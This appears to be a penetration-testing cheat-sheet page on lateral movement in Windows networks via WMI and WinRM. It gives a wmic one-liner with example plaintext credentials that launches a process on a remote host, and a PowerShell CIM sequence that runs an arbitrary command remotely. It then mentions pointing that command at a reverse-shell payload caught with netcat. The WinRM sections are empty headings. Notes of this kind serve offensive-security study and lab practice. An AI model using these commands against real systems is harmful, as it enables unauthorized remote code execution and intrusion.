WMI & WinRM

WMI

In order to create a process on a remote machine via WMI, we need credentials of a member of the Administrators local group on the remote machine. (which can also be a domain user).

wmic (deprecated)

This will open the calculator app on the remote machine:

wmic /node:192.168.50.73 /user:jen /password:Nexus123! process call create "calc"

Via Powershell

Run any command. Enter this in a cli line by line:

$username = '<USER>';
$password = '<PASS>!';
$secureString = ConvertTo-SecureString $password -AsPlaintext -Force;
$credential = New-Object System.Management.Automation.PSCredential $username, $secureString;
$options = New-CimSessionOption -Protocol DCOM
$session = New-Cimsession -ComputerName <IP> -Credential $credential -SessionOption $Options 
$command = '<COMMAND>';
Invoke-CimMethod -CimSession $Session -ClassName Win32_Process -MethodName Create -Arguments @{CommandLine =$Command};

If we want a reverse shell, we can set $command to the output of this python script. Make sure to replace IP and port.

We will catch the shell on our netcat listener.

WinRM

winrs

For a rev shell

Via powershell

Last updated